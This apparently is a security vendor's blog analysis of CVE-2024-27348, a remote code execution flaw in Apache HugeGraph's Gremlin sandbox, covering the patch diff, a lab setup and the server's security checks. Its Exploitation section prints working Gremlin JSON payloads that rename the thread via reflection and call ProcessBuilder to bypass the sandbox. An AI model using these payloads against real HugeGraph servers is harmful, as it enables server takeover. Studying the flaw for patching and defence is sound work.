Analysis of CVE-2024-27348 Apache HugeGraph

SOC 2 penetration testing
A Comprehensive Guide to SOC 2 Penetration Testing 2024
June 5, 2024
Attack Surface Management
A Handy Guide to Understanding Attack Surface Management
June 13, 2024

June 5, 2024

Introduction

CVE-2024-27348 is a Remote Code Execution (RCE) vulnerability that exists in Apache HugeGraph Server in versions before 1.3.0. An attacker can bypass the sandbox restrictions and achieve RCE through Gremlin, resulting in complete control over the server. This CVE scored 9.8 on the CVSS base scale CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.

What is HugeGraph ?

HugeGraph is a powerful, open-source graph database designed to handle large-scale graph data and complex graph queries with high performance. Developed by the team at Baidu, HugeGraph supports a variety of data models and query languages, including Gremlin, Cypher, and SPARQL, allowing for flexible and efficient data management. Its origins trace back to Baidu’s need for a scalable and efficient graph database solution to power its own applications. 

Recognizing the limitations of existing graph databases in handling massive data sets and complex queries, Baidu’s engineers set out to develop a new system that could meet these demands. The project was eventually open-sourced, allowing the global developer community to contribute to its development and benefit from its capabilities. Since its release, HugeGraph has gained traction for its performance, flexibility, and comprehensive feature set, establishing itself as a significant player in the graph database landscape.

Patch Diffing

The patch for the vulnerability can be found here, In short, there are too many changes and commits in this patch, The important ones are the following:

LoginAPI.java


In LoginAPI.java We can see the changes to enhance the authentication/authorization process, By adding @HeaderParam annotation which allows the method to accept an HTTP authorization header to enhancing security by requiring an authorization token when calling the logout method. And also ensures that the authorization token is not empty or null, providing an additional layer of validation. And also applied the same to verify the token.

HugeFactoryAuthProxy.java

The most important change here in HugeFactoryAuthProxy.java i’s that they added a new function filterCriticalSystemClasses to filter critical system classes. This indicates that the vulnerability happened due to non-filtered classes.

HugeSecurityManager.java

This has a lot of changes as well. Let’s take a look at the ones that are interesting and important to us.:

The newly added method,  checkMemberAccess, checks if a member access operation, such as accessing fields or methods of a class, is being called from a Gremlin context. If so, it throws a SecurityException to prevent the operation.

Another function added is the optionalMethodsToFilter method, which has a lot of commented code to register certain fields and methods of sensitive classes to be filtered out, preventing unauthorized reflective access to fields and methods of sensitive classes. 

This indicates that HugeGraph was not filtering or does not filter reflections adequately.

Testing Lab

For the testing lab, we will be using version 1.0.0. We can download the compiled binary from here. After downloading it, we go to the bin folder and hit the following command to start the server:

./start-hugegraph.sh

If you face any issues with it, we can use docker to run it, as shown below:

  • Pulling the docker image:

docker pull hugegraph/hugegraph:1.0.0

  • run HugeGraph-Server

docker run -itd –name=HGserver -p 8080:8080 hugegraph/hugegraph:1.0.0

Check the server:

  • GET request to the server

curl http://localhost:8080/ -X GET

  • Output:

{“service”:”hugegraph”,”version”:”1.0.0″,”doc”:”https://hugegraph.github.io/hugegraph-doc/”,”api_doc”:”https://hugegraph.github.io/hugegraph-doc/clients/hugegraph-api.html”,”apis”:[“auth”,”filter”,”graph”,”gremlin”,”job”,”metrics”,”profile”,”raft”,”resources”,”schema”,”traversers”,”variables”]}

Once our server is up, we can proceed with the analysis.

The Analysis

In the description of CVE-2024-27348 on github, It says it’s Command execution in Gremlin. So what is Gremlin ?

Gremlin

Gremlin is a versatile graph traversal language integral to the Apache TinkerPop project, enabling efficient and expressive graph queries and analytics across a range of graph databases and computing frameworks. The Gremlin endpoint could be found on HugeGraph under /gremlin. In the documentation for HugeGraph, We can find how to send and execute gremlin commands:

  • Explaining Request Body:
{

    "gremlin": "hugegraph.traversal().V('1:marko')",

    "bindings": {},

    "language": "gremlin-groovy",

    "aliases": {}

}
  1. “gremlin”: Gremlin query to be executed.
  2. “bindings”: Used to pass parameters or bindings that can be referenced within the Gremlin query.
  3. “language”: Specifies the scripting language for the Gremlin query.
  4. “aliases”: Allows for aliasing of graph and traversal source names.

HugeGraph Server Initialization

Before moving forward, let’s check how HugeGraph Server is initialized and started. This happens through org/apache/hugegraph/dist/HugeGraphServer.class:

public HugeGraphServer(String gremlinServerConf, String restServerConf) throws Exception {

    SecurityManager securityManager = System.getSecurityManager();

    System.setSecurityManager((SecurityManager)null);

    ConfigUtil.checkGremlinConfig(gremlinServerConf);

    HugeConfig restServerConfig = new HugeConfig(restServerConf);

    String graphsDir = (String)restServerConfig.get(ServerOptions.GRAPHS);

    EventHub hub = new EventHub("gremlin=>hub<=rest");

    try {

        this.restServer = HugeRestServer.start(restServerConf, hub);

    } catch (Throwable var17) {

        LOG.error("HugeRestServer start error: ", var17);

        throw var17;

    }

    try {

        this.gremlinServer = HugeGremlinServer.start(gremlinServerConf, graphsDir, hub);

    } catch (Throwable var15) {

        LOG.error("HugeGremlinServer start error: ", var15);

        try {

            this.restServer.shutdown().get();

        } catch (Throwable var14) {

            LOG.error("HugeRestServer stop error: ", var14);

        }

        throw var15;

    } finally {

        System.setSecurityManager(securityManager);

    }

}

The HugeGraphServer class initializes the server by setting up both the Gremlin and REST servers. The configurations are loaded through gremlinServerConf and restServerConf. Then, the SecurityManager is temporarily disabled to bypass security restrictions that might prevent the configuration and startup processes. After that, the Gremlin server configuration is validated using ConfigUtil.check GremlinConfig, and the REST server configuration is loaded into a restServer object. An EventHub is then created to facilitate communication between the Gremlin and REST servers. The REST server is started first, followed by the Gremlin server. Finally, the original SecurityManager is restored to re-enable security checks.

Gremlin Script Execution

Now, as we can see through the initialization, the SecurityManager is enabled, which sets restrictions and security checks over Gremlin. The Gremlin script is executed under the GremlinGroovyScriptEngine class, You can find the full documentation for the code here. When we go through the class, we can summarize the following process of executing it:

When a script is submitted for compilation using the compile method, the engine creates a  CompilerConfiguration and adds necessary customizations via addCompilationCustomizers. Then GremlinGroovyClassLoader is instantiated with this configuration to compile the script. The script execution done using the eval method. The engine first checks if the script is cached with isCached. If not, it compiles the script using parseClass and caches it using put. 

After that, The engine retrieves bindings from the ScriptContext using getBindings and prepares the execution context with createBinding. When invoking a function with invokeFunction, the engine uses invokeImpl to call the method, falling back on global functions with callGlobal if the method is not found. The engine can be reset with reset, which clears the class loader and bindings via internalReset and clearBindings.

Now, if we send a request to execute a system command through Gremlin, using Runtime as the following:

{

  "gremlin": "Runtime runtime = Runtime.getRuntime(); runtime.exec('ls');",

  "bindings": {},

  "language": "gremlin-groovy",

  "aliases": {}

}

We will get the following exception as a response:

{“exception”:”java.lang.SecurityException”,”message”:”Not allowed to execute command via Gremlin”,”cause”:”[java.lang.SecurityException]”}

As we can notice, we received a SecurityException, and that’s due to the SecurityManger. If we go through the SecurityManger class In HugeGraph is in HugeSecurityManager which is extended from the original java SecurityManger.

HugeSecurityManager

Here, the HugeSecurityManager class overrides various methods to implement custom security checks, ensuring that potentially dangerous actions initiated from Gremlin contexts are intercepted and blocked. Key methods like checkPermission, checkCreateClassLoader, checkExec, checkRead, checkWrite, and checkExit are overridden to enforce these checks. The class uses sets and maps of classes, methods, and properties to define allowed and denied operations, and it determines the context of the call stack to apply appropriate security rules. Utility methods like callFromGremlin, callFromWorkerWithClass, and callFromMethods help identify if a request originates from a Gremlin context. If a forbidden action is detected, the manager throws a SecurityException, as we saw in the exception previously.

When we scroll down the class code, we can spot the following variable:

GREMLIN_EXECUTOR_CLASS = ImmutableSet.of(“org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine”);

Here it defines GREMLIN_EXECUTOR_CLASS, which defines a set of classes that are permitted to execute Gremlin scripts. This makes sense as the Gremlin script gets executed through it. Moving forward in the code we can find the check function that throws the exception of the command execution for us:

public void checkExec(String cmd) {

    if (callFromGremlin()) {

        throw newSecurityException("Not allowed to execute command via Gremlin");

    } else {

        super.checkExec(cmd);

    }

}

It defines a condition to throw the exception, If the callFromGremlin returns true, then we enter this function:

private static boolean callFromGremlin() {

    return callFromWorkerWithClass(GREMLIN_EXECUTOR_CLASS);

}

It calls another function W/ GREMLIN_EXECUTOR_CLASS as an argument, When we go to this function, We can see the following:

private static boolean callFromWorkerWithClass(Set<String> classes) {

    Thread curThread = Thread.currentThread();

    if (curThread.getName().startsWith("gremlin-server-exec") || curThread.getName().startsWith("task-worker")) {

        StackTraceElement[] elements = curThread.getStackTrace();

        StackTraceElement[] var3 = elements;

        int var4 = elements.length;

        for(int var5 = 0; var5 < var4; ++var5) {

            StackTraceElement element = var3[var5];

            String className = element.getClassName();

            if (classes.contains(className)) {

                return true;

            }

        }

    }

    return false;

}

Here, the callFromWorkerWithClass function is used to determine if the current execution context originates from specific worker classes, typically associated with Gremlin server tasks. Firstly, it retrieves the current thread and checks if the thread’s name starts with “gremlin-server-exec” or “task-worker”. If it does, the method then retrieves the stack trace of the current thread, which is an array of StackTraceElement objects representing the call stack. By iterating through each stack trace element, it extracts the class name of each frame. If the class name matches any of the specified classes in the provided set, the method returns true, indicating that the execution context is from one of these blacklisted classes. If not, it will return false.

Exploitation

Now, we understand the process of how it checks our script and why we got this exception. However, as mentioned previously in the patch diffing, the reflections were not filtered. So, let’s use it to execute a command through ProcessBuilder:

{

    "gremlin": "Class<?> processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor<?> constructor = processBuilderClass.getConstructor(List.class);List<String> command = Arrays.asList(\"mkdir\", \"/tmp/example_directory\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(processBuilderInstance);",

    "bindings": {},

    "language": "gremlin-groovy",

    "aliases": {}

}

Basically, what we will do here is load the ProcessBuilder class, then get the constructor of ProcessBuilder that takes a list of commands. After that, We will create the command list, which will create a new folder SL7 in the tmp directory. Then, we get the ‘start’ method from the ProcessBuilder class. Finally, we get and invoke the start method to execute the command.

  • Results:

{“exception”:”java.lang.SecurityException”,”message”:”Not allowed to execute command via Gremlin”,”cause”:”[java.lang.SecurityException]”}

We are still encountering a SecurityException, If we remember during our analysis that the only processes checked in  callFromWorkerWithClass are the ones starts with gremlin-server-exec and task-worker, which are given by the script engine during execution. So, essentially, we can bypass it by changing the name of our processes. Let’s update our code to do so.

{   

    "gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"SL7\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"mkdir\", \"/tmp/SecureLayer7\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(processBuilderInstance);",

    "bindings": {},

    "language": "gremlin-groovy",

    "aliases": {}

}

So, here first we change the name of the current thread to SL7. Then, load the ProcessBuilder class and get the Constructor of ProcessBuilder. After that, we create a list containing the command to create the “SecureLayer7” directory. Moving on, we create a new instance of ProcessBuilder with the command list. Finally, we get and invoke the start method to execute our command and create the directory.

  • Results:

And the full scanning script from here.

Conclusion

During this analysis, we learned how the vulnerability allows attackers to bypass sandbox restrictions and achieve RCE via Gremlin by exploiting missing reflection filtering in the SecurityManager. This allowed us to access and manipulate various methods, ultimately enabling us to change the task/thread name to bypass all security checks. It was patched by filtering critical system classes and adding new security checks in HugeSecurityManager.

References

Discover more from SecureLayer7 - Offensive Security, API Scanner & Attack Surface Management

Subscribe now to keep reading and get access to the full archive.

Continue reading

Enable Notifications OK No thanks